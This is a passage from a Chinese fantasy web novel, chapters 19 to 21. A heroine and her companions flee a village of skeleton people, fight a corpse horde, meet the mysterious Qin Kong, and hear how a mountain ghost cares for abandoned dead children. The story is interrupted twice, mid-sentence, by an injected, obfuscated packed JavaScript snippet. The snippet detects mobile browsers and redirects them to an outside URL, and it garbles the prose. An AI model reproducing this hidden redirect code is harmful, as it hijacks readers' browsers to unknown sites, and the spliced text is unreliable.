谁知少年只是一笑:“他们没事,我很快就会有新父母了。” 少年走到门背,取出了一个麻袋,开始把满地的骨骸一块块捡了进去。 吓得钱坤大气不敢喘一下,他和驱邪术士不一样,这种场面见得少,还是非常害怕的。 于是,等少年拖着麻袋走出去的时候,他立即把门关了起来,然后偷偷朝着窗外望出去,瞧见那些仆从和马夫也靠着墙瑟瑟发抖。 突然,两个原本已经打开院门偷跑出去的人又慌慌张张地跑了回来。 钱坤压着嗓子问他们:“怎么了?” 一位仆从抖嗓回道:“外面、外面全是骷髅人……出、出不去……” 原来,着整个村子全是骷髅人。 钱坤急道:“这可怎么办啊?我们好像被围住了!” 檀玲疑惑地说:“那个少年的外貌与常人无异,难道他是什么妖精或鬼魅,专门诱骗人们来吃掉的吗?这些骷髅人是否也和我们一样,被他诱骗至此遭遇不测,而他们却浑然不觉自己已经死去,还以为自己仍是活生生的人?” 突然,院门外有人在喊:“老赵在家吗?” 这时候,居然还有人来串门。 少年从那厨房走了出来,打开了院门,道:“李叔,你怎么来了。” “刚才我看见你们家出来好些人,看来是来了客人啊。” 屋中几人纷纷循声望去,又是一个骷髅人,他手上还抱着一个约莫三岁的小娃。 叶澜道:“你们看着小娃,和那少年一样,也是常人模样。” 檀玲道:“莫不是这村子的所有小孩都是正常人,大人都是骷髅人吧?” 因纾禾道:“极有可能。” 檀玲道:“会不会这里的小孩都是妖怪,大人都是受害者?” 此时,外面的少年道:“是 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此时,屋外的少年似在犹豫,那李叔见状,趁热打铁地说道:“我家今日也来了一位贵客,做了好多菜,他一个人也吃不完。正好你们家也来了这么多人,我看你现在的情况……”他似乎又看了一眼厨房,接着补充道,“应该也没办法招待这么多人吧。” 钱坤长叹道:“唉……看样子,不止我们,还有其他倒霉蛋也被骗来了。” 少年道:“我去问问他们愿不愿意去。” 于是他转身朝着正屋走来,想开门,发现这门已经被拴上了。 少年走到窗户和他们四目相对,道:“为何你们要把门栓住?” 钱坤不想激怒他,干笑着找借口道:“有、有风,我冷。” 突然,耳边传来一声清脆的门栓打开的声音,因纾禾已经悄然将门推开了…… 少年含笑着走了过去,对着因纾禾道:“今日我家招待不周,父母和小弟都生病了,无法给各位准备多少吃食,正好隔壁的李叔家中也有来客,他们家准备了好些吃的,想问你们愿不愿意过去。” 钱坤看了一眼桌上的死老鼠,顿时又是一阵恶心袭上脑门。 这东西,他肯定不吃的。如果留在这里,极大可能得吃下这个东西,还不如去换一家试试。更何况那一家也有人被骗了进来,恐怕对方也是一时半会脱不了身。反正过去之后,或许能多一个人手,如此想来,他们不算亏。 于是他道:“愿意是愿意。不过,我们几个不能分开。要留一起留,要走一起走。绝不分开!” 少年面露难色,回头看向李叔。 李叔则大方道:“当然可以,我们家也好久没那么热闹了,我高兴还来不及呢。阿龙,你也过去吧,我看你父母一时半会也好不了,你先去吃点东西。” 少年闻言点了点头道:“谢谢李叔。” 他们出了少年家之后,或许是因为这个村子鲜少有那么大一群活人进村,每家每户都有人站在门口观望他们。 因纾禾左右观察,发现这个村子还真和他们预期的那样,大人全是骷髅人。不过,小孩虽说都是正常模样,但不是缺胳膊少腿,就是面黄肌瘦,明显能感觉到他们身上煞气很重。 19. 第 19 章—————— 他们一行人跟着前面的李叔穿过了半个村子,才到了李叔的家。 李叔的院落比少年的家宽敞许多。正厅内,摆放着一张方正的桌子,令人惊喜的是,桌上竟然真的摆满了热气腾腾的菜肴。 因纾禾咽了咽口水:“这……这是烤山兔,竹笋焖鸭,清蒸全鱼、鲜蘑菜心……” 她不自觉地坐了下来,目光牢牢盯住饭桌上的美食,无法移开。 另外一个骷髅人端着一口黑铁锅走了进来,热情道:“真是好生热闹,好久没遇到那么多贵客了!” 她将黑铁锅放在地上,打开盖子,是一锅香喷喷的白米饭。 李叔左右看了看,半晌,对着那骷髅人道:“老太婆,那位公子呢?” 李夫人闻言也奇怪道:“他刚刚还在这呢。怎么这会就不见了呢?是不是出去了?” 李叔立即将手里的孩子塞到李夫人怀里,道:“不行,我去看看,现在外面天黑了危险,可不能乱走。” 李夫人接过孩子,担心道:“这么晚了,那你自己也得小心些!” 她突然又想起什么,抱着孩子又往厨房走去。 瞧着这两夫妻都不在,乾坤立即道:“我觉得根本就没有这个人,一定是骗我们过来的。这食物里搞不好有问题,我们小心点。” 这话刚说完,就瞧见因纾禾已经夹起了一块鱼肉,乾坤急忙道:“你这丫头,不怕……” 他突觉自己声音大了些,赶紧闭了嘴。顿了顿,又捂着嘴压低声音道:“你还吃,不怕有毒啊?” 因纾禾轻笑一声:“现在何必想那么多?再不吃点东西,我就要饿死了。如果吃与不吃都得死,那我还不如做个饱死鬼。” 因纾禾将鱼肉一口送入嘴中,尝到味道的一瞬间,突然有种很熟悉的感觉,仿佛曾在哪里吃过,但一时又想不起。 随即,她忍不住一口接一口,几乎停不下来。 这一幕让乾坤哑口无言,目睹因纾禾吃了半晌,看她并无不适,而且还一边吃一边赞不绝口:“这味道……真是绝了!” 旁人看着她吃得津津有味,纷纷被香气勾起了食欲,忍不住拿起筷子,埋头大吃起来。 钱坤还在硬挺着,毕竟他如今已是惜命的年纪。身边的仆从们也看得口水直流,馋得不行,可惜钱坤没动筷,他们也不敢轻举妄动。 李夫人提了一壶茶水上来,见几个人都没动筷子,便好奇问道:“你们怎么不吃啊?” 几个仆从面面相觑了一会儿,其中一人才斗胆道:“老爷,要不我们也吃点吧……” 叶澜见状,亦劝道:“钱老爷,这是真好吃,你也赶紧尝尝,不然可就没有了!” 钱坤心中万般纠结,虽然嘴巴里硬说不吃,可心底早已饥肠辘辘,看着桌上那越来越少的美味,实在忍不住。心一横,暗道:死就死吧!于是也不再犹豫,抄起筷子,猛地开始狂吃起来。 李夫人一个个给他们添茶水,添到因纾禾面前时,因纾禾好奇地问道:“请问这些菜都是你做的吗?” 李夫人倒是十分实诚,笑着答道:“我哪有这手艺,是今天来的那位公子做的。我只是打了下手。” 因纾禾好奇道:“那位公子?” 李夫人咯咯笑道:“是啊。我还是第一次见那么好看的公子,徒手抓着一只兔子和一只野鸭,来到我们这问有没有厨房,说想做一顿饭。当时可把我惊呆了!可惜这些菜我也都吃不了,也不知道是啥味道。你们赶紧快吃了吧,一会菜都凉了!” 檀玲道:“一个男人,跑到这大山找野味做饭?难道是一个厨子?” 李夫人忽然说道:“你们路上没见过他吗?”她顿了顿,又补充道,“他说在路上见着你们一群人了,正好做的菜有些多,便让我家老头子去请你们过来。” 众人听了,心中顿觉不对劲,他们可没有在路上见到过什么公子。 正当此时,忽然传来一声拍门的声音。 李夫人说道:“可能是那位公子回来了,你们慢慢吃,我去看看。”她转身出了门。 须臾,便听见她说道:“原来是阿龙啊,我给你留的饭菜还在灶台上暖着呢,跟我来。” 阿龙的声音随即传来:“谢谢李婶。” 见二人从屋门走过,钱坤压低嗓音道:“现在看来,即便真有这么一个男人,这个男人肯定也有问题。这种情况我们绝不能再待下去了,还是尽早离开为好。” 檀玲看向了贺云修道:“云修哥哥,那我们今晚要怎么做?” 贺云修思忖片刻,随即转向因纾禾道:“甄姑娘,你觉得呢?” 叶澜也顺势看向因纾禾,现下四周的目光齐齐聚焦在她身上。 按钱坤的想法,他实在是一刻也不愿意再呆在这个地方。对于驱邪术士来说,这种阴气重的地方并不稀奇,可对于他这个普通人而言,确实是难以忍受。 于是,因纾禾选择尊重钱坤的意愿,连夜出村。 未几,李叔回来了,说实在找不到那位公子。 在李叔的安排下,他们一行人被安置在正屋两侧的隔间小屋,男女各自分开。而李叔他们则睡到了厨房旁边的一个小屋。 因纾禾晃着身子,半睡半醒地跟着人群,刚走到门口时,钱坤轻轻推开屋门,那一瞬间,一阵冷风突然袭来,吹得她不由得打了个激灵。 他们十几个人悄无声息地溜出了李叔的院子,可当他们走到院外,才发现马车和马匹仍在原先少年阿龙的家中。 侍从问:“老爷,前面还有五十里山路,若没有马车,恐怕您难以支撑。而且我们的干粮都在马车上。” 钱坤回头望向因纾禾他们几个,道:“各位,怎么看?” 贺云修站出来道:“你们在前面等我,我去把马匹和干粮带出来。” 檀玲道:“云修哥哥,你身上还有伤呢,万一被他们发现了怎么办?我真不放心你。” 叶澜道:“我陪着云修兄去吧,两个人也有个照应。” 钱坤闻言,随即笑道:“好,好,好。那我们就在村口等你们。甄姑娘,我们走吧……” 他心中暗自满意,因纾禾留在身边,自己自然最为放心。 于是,钱坤和因纾禾带着其余几人朝着村口走去,决定在那里等候贺云修和叶澜。 然而,就在他们走到村口不久,突然从村子的方向,隐约出现了一个身影,朝着他们的方向走来。 不一会儿,又有一个人影从身后出现,默默跟随其后。 钱坤轻声道:“前方是贺兄弟和叶兄弟吗?” 对方似乎没有听见,钱坤低声嘀咕道:“难不成这马匹都被那些邪祟吃了,所以两手空空的回来了?” 可他越看越觉得不对,身后又陆续出现三个、四个、五个……越来越多的人影,身形高矮胖瘦各异。 半晌,随着第一个身影的靠近,他们听到了咔呲咔呲的骨头扭动声,几乎可以确认——是那些骷髅人。 “你们怎么这么晚还要出村啊?外面……很危险的……” 那声音空洞,毫无起伏,没有半点儿鲜活音色。 钱坤吓得转身就跑。骷髅大军越来越多,看见钱坤和那些侍从朝前跑,它们也开始加快步伐追了上来,好像有上百具骷髅朝着他们冲了过来。 他们跑出了村子百丈之后,发现后方骷髅人并没有追出来,而是站在了村口处,好似在望着他们。 钱坤喘着粗气,忍不住停下来休息。就在这时,檀玲突然哭了出来:“云修哥哥……云修哥哥还在里面……怎么办呐……甄青瑶,你那么厉害,算我求求你,帮我救救云修哥哥好不好!” 因纾禾正要开口,却忽然感应到一股浓烈的尸骨血腥之气,越来越近。因纾禾嗅了嗅,发现这气味并不是从村子里面飘出来的。 就在这时,一个仆从惊恐地颤抖着嗓音喊道:“快看!后、后面……” 因 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14858793|159413||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 纾禾往后一看,在那村子旁边的另一座山脚,隐约又出现了另一波乌压压的身影。 它们先是慢慢地走着,好似感受到他们这边人的目光,于是开始越来越快,并且姿势越来越诡异,最后是四肢并用,朝着这边飞扑而来。 因纾禾上前一步,将钱坤等人护在身后,让他们快点跑! 随着那群类似异兽的东西成百上千地奔向这边,因纾禾靠近时,终于看清楚了它们的真面目——这些也全是骷髅,与村子里的骷髅人不同,它们的骨头上还残留着腐肉,腥臭味极其浓烈! 钱坤和几个侍从马夫跑得实在有些慢,因纾禾只能紧跟在他们后面,时刻关注着那些骷髅大军的动向。眼看它们马上就要逼近,因纾禾迅速拿出宝葫芦,摇晃了几下,从中导出几滴灵液,低声道:“五行之木——束!” 果然,根根藤蔓从因纾禾的脚下蔓延开来,一路开花结藤朝着那些骷髅大军延伸过去,在触碰到他们的一瞬间,立即缠住它们。 就在此刻,突然从村子的方向,冲出两道人影,骑着马飞速朝他们这边奔来。正是贺云修和叶澜。 因纾禾道:“你们两个先把钱老爷和檀玲带走。我先困住它们!” 贺云修和叶澜根本也来不及犹豫,一人一马,直接冲向了钱坤和檀玲,把他们分别捞上了马背。 贺云修高喊道:“你撑住,我们一会回来接你!” 前排的异形骷髅被藤蔓困住后,后排的骷髅踩着前排的尸体,快速涌了上来。它们的前进速度快过了藤蔓的生长速度,仿佛一波小巨浪般翻滚而来。 因纾禾没有丝毫犹豫,立即转身向后奔去。眼见前方有一棵参天古树,她毫不犹豫地跃上了树干。 那些异形骷髅紧随其后,四肢并用,迅速爬向树干。然而,与平地相比,它们像叠罗汉般互相踩踏,且树下藤木根枝错综复杂,生长得更加茂盛,迅速缠绕住它们的尸体,大大拖慢了它们的攀爬速度。 因纾禾稍微松了口气,目光扫向下方。陆陆续续有些骷髅突破重围,快速攀爬上来,但很快又被古树藤枝刷落下去。 只是,尽管它们的攀爬速度较慢,然而数量之众,仿佛无尽的潮水般涌来,源源不断,黑压压一片,难以计数。如今再看,仿佛有数千、甚至数万的尸群在追逐着她。 古树在这股巨大的压力下,枝叶摇曳,剧烈晃动。 一声凉音从她上方传来:“这棵树坚持不了多久。” 因纾禾闻言一愣,抬头循声望去,只见冷月之下,斑驳枝叶间,一个黑影立于树梢,双手抱臂,身影如同剪影般模糊。 这声音,这抹影子,因纾禾自是难忘。 因纾禾心中充满疑惑,不确定眼前的男子是否是幻觉,她紧紧盯着他,眼睛不敢眨一下,生怕一眨眼他就会再次消失。 她小心翼翼地朝着他的方向攀爬,越来越近…… 她甚至都不敢发出声音,直到爬到他的脚跟前,像是猫逮老鼠一般,一把抓住男子的衣摆。 确认抓住了他,她才惊讶出声道:“活的!” 可就在这时,这颗千年古树也承受不住蜂拥上爬的骷髅尸群,摇晃幅度越来越大! 因纾禾见状,来不及多想,双足一蹬,使整个树干向后倒去。她随即向男子飞扑过去,揪住他的后领,试图腾空而起。 奈何男子要比她预想的要沉重许多,加之他的领子太丝滑了,一个没抓稳,男子就从她手里脱落,直直坠下。 因纾禾心中大喊不妙:她是想要救人,可不想把人摔死! 眼看男子即将坠落至十丈高的地面,他原本被因纾禾反向拽住飞出,似是必定背后着地,然而,男子却在空中一个翻身,稳稳地落地。 只见他抬首一瞬,迅速判断因纾禾的落地位置,随即一个箭步窜出,双手稳稳接住了她。 突然,泥土里面突然有一只手伸了出来,直接抓住了男子的脚踝,直接把他俩都拽了下去。 20. 第 20 章 当她反应过来之时,发现他们好像跌入了一个地穴之中,四周漆黑一片,唯有贴着那结实的胸膛,能清晰感受到急促的心跳声和头顶那沉稳的吐息。 因纾禾下意识的想要推开了他,可背上的手加重了力道,男子低声道:“别动。” 他的这句“别动”带着提醒的意味,因纾禾瞬间也意识到了什么,于是不再挣扎,而是用食指在男子胸前有节奏的点了两下,想要表示自己明白他的意思。 果然,男子的力道松了一些,不过也听到他吞咽了一下闷闷声。因纾禾没有多想,微微偏头,可是四周太黑了,几乎看不到什么。 突然耳边听到什么东西爬行的声音,突然一声低吼,那些声音好似又退了回去。 半晌,男子才松开了手臂,柔声道:“没事了。” 因纾禾这才起身坐了起来,从怀里探出火折子,轻轻一吹,眼前瞬间亮起。她刚一抬眼,便对上了一双全黑、毫无眼白的眼睛。 因纾禾顿时一愣,眼前这是一个孩子,正是他们之前发现已经死亡,那位少年阿龙的弟弟。如今他的模样,明显是一个孩童的模样,确切的说,是一个尸童,他蹲在因纾禾的正前方,眼睛眨巴眨巴的看着自己。 突然,因纾禾又听到异响,从尸童身后传来。她举起火折子,朝着那片黑暗照去,瞧见乌十几具幼童的尸骸,也已经都变成了尸童,他们看到火光时露出些许惧意,不时对着因纾禾呲牙示威。 阿龙的弟弟转过身,对这些小尸童发出发出一声低吼。很明显,阿龙的弟弟在保护因纾禾,不准那些尸童群靠近她。 因纾禾猜到了什么,低声道:“是你把我们拽下来的对不对?” 阿龙的弟弟闻言又转过身来,点了点头。 因纾禾柔声笑道:“谢谢你。” 阿龙的弟弟歪着脑袋,像是在思考。忽然,他似乎模仿起因纾禾的表情,尝试着咧嘴一笑,但嘴巴动了,表情却异常扭曲,难以直视。 因纾禾道:“这到底是什么地方?” 这时,男子也坐了起来,淡淡说道:“尸坑。” 因纾禾回过头,借着微弱的光线,她终于看清了男子的模样。 他支起一条腿,一手搭在膝盖上,一袭月白深衣,外披鸦青绫锻长袍,衣襟、袖口与腰间均饰以精美的星云图案刺绣。 他的面容白皙俊美却略显冷漠,眸似古潭看不出深意。一头乌黑长发高挽于顶,以深色发带相系,外用一支古朴木簪固定。或许是因为刚才的摔落,几缕发丝随着发带散落在脸颊旁,增添了几分不经意的随性。 这是一位身姿与容貌皆属绝世品级的男子! 因纾禾拿着火折子走过去,蹲下身子,不自觉地伸手将他几缕散落的发丝轻轻挽到耳后。 男子微微一怔,星眸一抬,一瞬不瞬地盯着她,似在确认着什么。 因纾禾顿时也愣住了…… 老天! 她在干什么?! 怎么会做这种登徒子的举动! 她心中汹涌澎湃,表面还在强装镇定:“呃……你的头发遮住脸了。所以我……” 男子目光沉沉地注视着因纾禾,沉默片刻,道:“你……还记得我?” 因纾禾看着他的眼神,总感觉其中有万千情绪。她心中忽然涌现一个念头:莫不是甄青瑶的旧识?所以才会一路从沈家追到这里? 于是,她试探道:“出现在沈家暗室里的那个人,就是你,对不对?” 听到这句话,男子眸光微颤,眼眶竟有些许泛红。半晌,他若有深意地说了一句:“我终于找到你了。” 因纾禾观察此人反应,觉着他定然对甄青瑶用情颇深。或许,甄青瑶与他之间,还极有可能存在某种血契誓约,以至于当他施展某种秘术时,唯有甄青瑶的肉身能够察觉到他的存在。 唉,要是他知道甄青瑶已经死去,身体里还住着她这个千年亡魂,不知道会作何感想。 她虽不愿欺瞒,可如今她也不能暴露自己的身份,斟酌片刻,开口道:“我前几日受了伤,很多事情不太记得了……” 瞥见男子的面容,她不禁感到一丝怜惜,觉着属实不该伤了这份痴心,于是又硬着头皮道:“不过嘛!现在看到你的脸,似乎又记起一些了!只是……现在并非叙旧的时刻,我们得先设法离开这里。” 她立刻站起身子,装腔作势对周围环境一顿探查。 男子静静注视着她微微不自然的举止,心中似乎渐渐释然了些什么。他深深吸了一口气,半晌,嘴角不自觉地扬起一抹轻柔的笑意。 因纾禾道:“那个……” 男子蓦然道:“秦涳。” 因纾禾回头一看,直接对上男子的目光,干笑两声,道:“呃,秦公子……” 男子再次强调:“秦涳。你以前是这么叫我的。你……连这个也忘记了?” 因纾禾只觉得头皮发麻,这个男人,果然不好对付。 不过,她也不是吃素的。她皮笑肉不笑道:“我怎么会忘记呢,秦……涳。” 秦涳很是满意地点了点头,然后站了起来,拍了两下身上的泥土。 因纾禾又干咳两声,继续道:“这里怨气浓烈,确实像是一个尸坑。” 她又朝着那群角落里面躲闪的小尸群照了照:“可是这里只有十几具尸骸,和这里的怨气浓度似乎不太匹配。” 突然,阿龙的弟弟扯了扯因纾禾的裙摆。 因纾禾低头问他:“怎么了?” 阿龙的弟弟指向一个方向。因纾禾顺着他的指示,举起火折子,向那个方向走去。与此同时,阿龙的弟弟则抢先一步,继续驱散那些试图靠近的小童尸。 因纾禾看到了一段小箭头,然后刻着“看这里”三个字,她顺着箭头的方向望去,又看到另一个小箭头,仿佛拐了山里十八弯之后,终于看到一段文字。 因纾禾念道:“无极始,太极生,天元地气,归一无痕……” “等等!” 秦涳试图阻止纾禾,但已经为时已晚。 突然,一道银光乍现,因纾禾只感到眼前一亮,胸口骤然紧缩,脚下失去平衡,她猛地跌落下去。幸运的是,她被人及时接住,但不幸的是,接住她的人也因此失去重心,跟着一起摔了下去。 因纾禾揉着屁股,嘟囔道:“好疼。” 可是,她突然觉得不对劲。耳边传来陌生的声音,而且竟然是从自己嗓子里发出来的。更奇怪的是,她揉屁股的手感也有些不对。 她一抬头,猛地发现,原本只到自己腰部的尸童,突然变得异常高大! 她又慌忙低头查看自己的身体四肢,顿时大吃一惊——原来并非尸童变大了,而是自己变小了!唯一值得庆幸的是,衣服似乎也跟着缩小了…… 因纾禾转头想要与秦涳说些什么,却猛地看见一个美少年正坐地扶额,看似有些崩溃道:“这咒诀,怎么会出现在这里……” 她这才意识到,秦涳也变小了。 因纾禾愣道:“这……是怎么回事?” 秦涳揉了揉额头,缓声道:“无碍……这个口诀的时效是三日。三日后,我们即可恢复常态。只不过,期间灵力会受到一些影响。” 因纾禾好奇道:“你是如何知晓的?” 秦涳长叹一声,垂下揉额的手,无奈道:“这只是一个无聊至极的人弄出来,哄孩子用的玩意儿。” “哄孩子?”因纾禾好奇心更甚,接着问道,“怎么哄?” 秦涳神色复杂地看了她一眼,半晌,缓声道:“以前有一个人捡了一个孩子,看到孩子没有玩伴,觉得很可怜,于是研究了这个咒语。” 他随即又轻笑一声,道:“事情太久远了,那个人自己差点都忘记还有这个东西,也不知为何出现在此处……” 此时,阿龙的弟弟看到他们模样,觉着自己有了新玩伴,嘴巴咧得更大了。 而那些童尸群看见因纾禾和秦涳变小后,居然也不再呲牙,而是好奇地朝他们靠近。 因纾禾每走一步,这些小尸群像一串小尾巴一样,紧紧跟在因纾禾身后,他们竟也学着尸童咧嘴笑。 突然,外面传来一阵脚步声,因纾禾示意小尸群保持安静。 他们果然很听话,学着因纾禾贴在墙边,一声不吭。 直到上面传来少年阿龙的声音:“阿弟!” 阿龙的弟弟闻言,立即顺着墙爬了出去。半晌,上面投下一根绳子,阿龙对他们喊道:“那些邪尸已经走了,你们上来吧!” 因纾禾抓住绳索,看向秦涳。道:“我们一起上去。” 秦涳点了点头,跟着因纾禾一起爬了上去。 少年阿龙看到爬上的是缩小版的因纾禾和秦涳却一点也不意外:“你们先等一会。” 然后他对着弟弟道:“把他们叫上来吧。” 弟弟闻言趴到洞口,对着下面低吼了一声。那些童尸一个接一个顺着绳子爬了上来,似乎很听从阿龙弟弟的指挥。每个尸童都紧紧抓住绳子,阿龙弟弟抓住绳头走在前头,而阿龙则抓住绳尾走在后头。 阿龙道:“开道,回家!” 原本因纾禾以为让他们抓绳子只是为了防止他们乱跑,可是观察后,她发现并非如此简单。 这些尸童的身体上都有些残缺,有些缺胳膊少腿,有些眼睛天生有疾,只有抓住绳子,他们才能按预定的路线行走。 一路上,为了避免引起邪尸群的注意,他们都默不作声,安静地前行。所有的一切,等到了安全的地方再说。 因纾禾和秦涳原本跟在他们后面,可那些童尸却频频回头望向二人,简直是一步一回头。 少年阿龙无奈顿住了脚步,回头对着他们道:“实在不好意思,二位能否走在前面?” 秦涳微微皱眉,道:“为何?” 阿龙脸上略带羞耻神色,半晌,嚅嗫道:“他们觉得你们二人长得好看,说话还好听……” 秦涳:“……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14858794|159413||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 因纾禾则噗呲一笑:“这群小屁孩,挺有眼光!当然没问题。” 于是二话不说走到了前头,还不忘回头催促秦涳:“快跟上来啊!” 秦涳看了看因纾禾,拒绝道:“我在后头即可。” 然而,还是有小童尸忍不住回头看他,秦涳故意冷冷地瞪了他们一眼,那些小家伙顿时吓得抽噎起来。 阿龙瞬间有些慌了神,心中暗道:完了完了完了,这些小祖宗要是鬼哭狼嚎起来,那可就麻烦了,肯定会把那些邪尸群引过来! 他急忙安抚道:“别哭、别哭、别哭,要是把那些个邪尸引来,我们就完了!” 因纾禾回瞪了秦涳一眼,道:“你弄哭的娃,你得哄。” 秦涳顿时有些手足无措,思来想去,只能极其尴尬的硬挤出一个笑脸,然而这个笑容看起来极其敷衍,毫无感情,直接让小尸群们身子集体抖了一抖。不过,幸运的是,他们暂时止住了抽噎。 因纾禾见状,直接回走,揪起秦涳的衣袂,将他拽到队伍前头。 秦涳怔怔让她拖着,看着她牵住自己的手,竟然有点讪讪自喜。 小尸群见到这一幕,顿时兴奋了起来,所有的小脑袋都随着两人的位置移动而转动。 因纾禾直接将牵着小尸群队伍的绳头塞在了秦涳的手里,然后自己松开了秦涳,回头对小尸群笑嘻嘻道:“他亲自带你们,可好?” 果然,那些尸童顿时欢呼雀跃,蹦跳了起来。 秦涳看着这小手一松,这脸顿时又沉了下来,不过好在他背对着小尸群,没有再次把他们吓着。 可没想到,因纾禾和小尸群们说完话,回过身来的时候,居然又揪起秦涳的衣袂朝前走去,这男人原本蔫下去的一口气又瞬间提了上来! 于是他们的速度瞬间提升了三倍! 回到村口,那上百个骷髅村民居然还站在村口等着他们。 李叔从后面穿到前面,对着前面几个骷髅人道:“你们这骨架子才刚刚修复,身上阴气比较重,就好好在家躺着!这样子出来很容易吓着人的!” 然后,他转身对着因纾禾秦涳二人解释道:“他们都是刚捡回来的骨头,晚上需要吸收一些阴气来稳固身形,所以才会在大晚上的在村子里走动,吓到你们了,实在抱歉!” 因纾禾道:“李叔,你们村子到底是怎么回事?” 李叔看向他们身后的阿龙道:“阿龙,你没和他们说吗?我以为你说了呢。” 阿龙摇了摇头,道:“当时阿弟又白天出去了,后来爹娘又突然病了,我都还没来得及说,您就过来了。我以为您会说的。刚才在路上我们也怕声音引导那些邪尸,所以基本也没怎么说话。” 李叔拍大腿道:“我这不是以为你说了嘛。而且……你们怎么也不问呢?公子也是,进来也就极其大方的给了一袋钱,问的有没有厨房,我以为你们都知道的。……我自己都死了好些年了,哪能猜到你们现在年轻人的想法。哎呀……误会了误会了!” 因纾禾还想辩解一番,心里觉得并非她没有问,她确实问了,只是问了一句‘你们从哪儿来的’,结果阿龙的父母就直接骨头散架了,她才没有继续追问,选择静观其变。 这时,因纾禾突然反应过来,眼前这个秦涳居然就是李叔口中说的贵客。 因纾禾好奇道:“你难不成是来这附近打猎,然后进村来做饭的?” 秦涳干咳一声,道:“其实,我是来寻人的。” 因纾禾道:“寻人?” 秦涳道:“嗯。我在附近探寻他们的气息。不过白日里气息较弱,我原以为他们就在这个村子里,可并非如此。天黑之后,他们的气息开始浮动,并且是在村外,所以我才会出去寻找一番。” 李叔道:“是不是一对男女?” 秦涳补充道:“还有一个5岁左右的孩子。” 李叔道:“孩子?我只见过一对年轻男女路过我们村子,没看见孩子。” 秦涳道:“是否是一位紫衣女子和一位红袍青年。” 李叔回忆了一下,确认道:“没错!” 秦涳道:“那你可知两人现在在何处?” 李叔道:“我知道,但是我只能白天带你过去。现在你们还是先跟我回屋吧!我把我们村子的事情会慢慢告诉你们,我看二位气度非凡,或许能帮帮我们。” 他转头对着阿龙道:“阿龙,你现在父母还在修养,你先把这些孩子带到我的院子吧。……大伙也都散了吧!” 于是,因纾禾和秦涳跟着李叔回家,李叔给二人煮了一壶茶,边倒茶边说道:“这茶也只有你们来的时候才能泡上,我是想喝也喝不了咯!” 因纾禾抿了一口热茶,问道:“李叔,你们和这些孩子到底是怎么回事?” 李叔长叹一口气,也坐了下来,道:“其实,你们刚刚看到那个叫阿龙的少年,其实是一个山鬼。而我们这些,都是原本被家人埋葬在这万普山附近的死人。” 21. 第 21 章 秦涳道:“那为何会……” 这时少年阿龙走了进来,李叔招手示意他一起坐下:“来,你说吧。我老了,脑子也记不住很多事情了……” 阿龙坐下之后,看了一眼因纾禾和秦涳,道:“原本万普山与岷山一样,山脉灵气充沛,埋在这里的物体早已带有灵气。三魂之中,守护尸体的地魂也逐渐获得灵识。但与生前的意识不同,如今这些地魂都是依赖山脉灵气才能维持住灵识。所以,他们只知道自己存在于万普山,并不知道自己来自何处。” 因纾禾暗道:难怪问了赵氏夫妇来自哪里,他们会有那样的反应。 阿龙继续道:“后来,万普山成了仙门的化煞之地,虽然被打扰,但还算能接受。可近十年来,这地方的怨气愈发浓重。” 因纾禾道:“你是山鬼?” 阿龙点头。 因纾禾道:“那你的父母是怎么回事?” 阿龙道:“其实……他们并非我的亲生父母。” 因纾禾道:“啊?” 阿龙道:“我没有父母。确切的说,我自己也不知道自己的父母是谁。我原本是万普山里面的山灵,后来化成了人形。在我记忆中我只有爷爷,爷爷原本是万普山的山神,是他将我养大的。” 秦涳道:“那你爷爷呢?” 阿龙眼泪在眼眶里打转,道:“五年前,死了……” 他缓了缓情绪,接着道:“五年前,万普山像是封印了什么大鬼,导致山体灵气腐化、污染。原本供养各种灵体的自然灵气逐渐变得扭曲恶劣,灵体们感受到大鬼的怒气和负能量,无法正常存在。” “山中的灵气开始恶化,原本和谐的灵体变异、堕落。有些精怪、神灵,逐渐变成恶鬼、怪物,甚至丧失意识,变成幽灵。我爷爷预感到这一切,提前把我送下了山,自己却留守在万普山,然后就……” 因纾禾道:“这里不是仙门苏家的管辖地界吗?他们难道不管吗?” 这时,李叔冷哼一声道:“什么苏家?这原本是杜家的管辖之地。杜太爷如果还在世,这万普山也不会变成今天这样。可惜,杜家只有一女,嫁给了那个苏启。杜太爷应该想着让他入赘,但谁料杜太爷走后,杜夫人不知怎的,却偏偏让苏启当了家。杜夫人在世时,她的话还管用,能压得住苏启。但自从杜夫人去世,苏启再娶,苏家一日不如一日。那个苏启,不过是个废物!他根本就管不了这些事。” 因纾禾道:“那你们为什么会到这个村子,那些孩子又是怎么回事?” 阿龙低声答道:“是我不愿意离开,一直在万普山下徘徊,发现这里的怨气越来越重。后来,我在附近发现了很多尸坑,里面全都是小孩的尸体。万普山的怨气,其中一大部分正是来自这些童怨。我想要化解他们心中的怨气,因为我爷爷曾说过,孩子的灵魂最为纯净、脆弱,他们在死后,未解的情感往往会让他们变成怨灵。怨童的力量很强大,但也有化解的方法,那就是给他们缺失的东西。” 因纾禾道:“你怎么知道他们缺失什么?” 阿龙道:“我原先也不知道,只是后来我发现他们都是些身体有残缺的孩子,还有一下是命格缺失,带有煞气命格的,比如阿弟。这些尸坑每天都有童尸,可是他在附近百里的地方都打探过,没几个人报家里的孩子失踪的,他们很有可能都是一些被父母遗弃的孩子,否则那么多失踪的孩子,也不可能没人寻找。” 因纾禾想到了什么,微微一怔。不敢置信道:“所以……你就猜到了这些孩子缺少父母之爱……然后?” 